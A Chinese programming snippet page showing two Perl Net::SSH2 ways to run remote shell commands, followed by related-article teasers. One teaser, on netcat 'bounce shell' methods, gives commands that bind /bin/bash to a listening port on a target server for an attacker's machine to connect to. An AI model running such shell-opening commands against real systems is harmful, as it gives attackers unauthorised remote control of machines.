using Net::SSH2 shell 的二个方法

方法一:


代码如下:

$chan2 = $ssh2->channel();
$chan2->blocking(0);
print $chan2 "tail -5 /var/log/authlog\n";
print "**$_" while <$chan2>;

方法二:


代码如下:

#shell use
my $chan2 = $ssh2->channel();
$chan2->shell();
print $chan2 "uname -a\n";
print "LINE : $_" while <$chan2>;
print $chan2 "who\n";
print "LINE : $_" while <$chan2>;
$chan2->close;

(0)

相关推荐

  • java-SSH2实现数据库和界面的分页

    分页应该是在我们开发web应用时经常要做的工作,能够比较简洁的实现数据库和视图层的分页十分重要. 在数据库层利用hibernate进行数据库的分页,将从数据库中查询出的数据封装为javabean:在视图层就可以方便的实现分页. 创建PageBean package com.fishing.common.bean; import java.util.List; @SuppressWarnings("unchecked") public class PageBean { private L

  • using Net::SSH2 shell 的二个方法

    方法一: 复制代码 代码如下: $chan2 = $ssh2->channel();$chan2->blocking(0);print $chan2 "tail -5 /var/log/authlog\n";print "**$_" while <$chan2>; 方法二: 复制代码 代码如下: #shell usemy $chan2 = $ssh2->channel();$chan2->shell();print $chan2

  • java在linux本地执行shell命令的实现方法

    目录 一.以springboot为例,建立代码 1.IExecCommandServer: 2.ExecCommandServerImp: 3.ExecCommandController: 二,执行示例 一.以springboot为例,建立代码 1.IExecCommandServer: public interface IExecCommandServer { void execCommand(String cmd); } 2.ExecCommandServerImp: @Service pu

  • java发送url请求获取返回值的二种方法

    下面提供二种方法会使用java发送url请求,并获取服务器返回的值 第一种方法: 复制代码 代码如下: import org.apache.http.HttpEntity;import org.apache.http.HttpResponse;import org.apache.http.NameValuePair;import org.apache.http.client.HttpClient;import org.apache.http.client.entity.UrlEncodedFor

  • PHP+shell实现多线程的方法

    本文实例讲述了PHP+shell实现多线程的方法.分享给大家供大家参考.具体如下: 这里介绍如何借助shell脚本实现多线程. 先写个简单的php代码,这里为了让脚本执行时间更长,方便看效果,sleep一下,呵呵!先看下test.php的代码: PHP代码: <?php for ($i=0;$i<10;$i++) { echo $i; sleep(10); } ?> 在看下shell脚本的代码,非常简单 #!/bin/bash for i in 1 2 3 4 5 6 7 8 9 10

  • vue debug 二种方法

    console.log多了比较烦,用debug就比较清晰了. 可以快速履清代码运行的先后顺序,验证自己的想法是否正确,可以清楚的了解到变量的内容,不用在console.log了. 一,vue devtools 1,chrome应用商店安装vue devtools扩展,并打开vue devtolls扩展 2,启动vue,npm run dev 3,chrome中访问vue网址,打开开发者工具,导行会多出vue,如下图 vue devtools vue devtools,对于数据展示,是非常清楚的.

  • 详解NC反弹shell的几种方法

    假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell. 需要目标机安装nc. 反向反弹shell 方法1:bash反弹 bash

  • vue传值方式的十二种方法总结

    目录 一.父传子传递 二.子传父传递 三.兄弟组件通信(bus总线) 四.ref/refs(父子组件通信) 五.Vuex通信 六.$parent 七.sessionStorage传值 八.路由传值 九.祖传孙 $attrs 十.孙传祖使用$listeners 十一.promise传参 十二.全局变量 一.父传子传递 (1)在父组件的子组件标签上绑定一个属性,挂载要传输的变量 (2)在子组件中通过props来接受数据,props可以是数组也可以是对象,接受的数据可以直接使用 props: ["属性

  • 使用shell读取ini文件方法步骤

    目录 动机 .ini 类文件格式 在 shell 脚本中处理 .ini 文件时要执行的操作 假定处理系统 查看部分列表 仅提取特定部分 如何限定 shell 变量名 Shell scripting 动机 我决定编写一个脚本来进行干净的 macOS (BSD) / Linux 的初始设置. 我认为有一个 tsukkomi 说“现在大多数发行版都预装了 perl / python”,但我决定使用 Shell 脚本(bash),因为它易于编写进程过程. 但是,用shell语法写各种配置文件是不可读的,

  • linux下shell脚本备份文件的方法实现

    目录 1.shell自动备份 2.关于find命令: 1.shell自动备份 主要功能: 1)将pathSrc目录中的文件拷贝到pathDst目录中去. 具体步骤:先查询源目录和目标目录中的文件,分别存在fileSrc和fileDst中. -> 来两个循环,比较.不在fileDst的就拷贝过去.再判断一下是否拷贝成功. 2)将pathSrc中的文件保留180天. 具体步骤:先查出源目录中大于180天的文件(就是那句find),然后删除. #!/bin/bash v_time=`date "

  • CentOS下对shell脚本加密的二种方法

    第一种方法(gzexe): 这种加密方式不是非常保险的方法,但是能够满足一般的加密用途,可以隐蔽脚本中的密码等信息. 它是使用系统自带的gzexe程序,它不但加密,同时压缩文件. 使用方法: 复制代码 代码如下: gzexe file.sh 它会把原来没有加密的文件备份为 file.sh~ ,同时 file.sh 即被变成加密文件: 第二种方法(shc): 使用 shc 对 Linux shell 脚本加密. shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行

随机推荐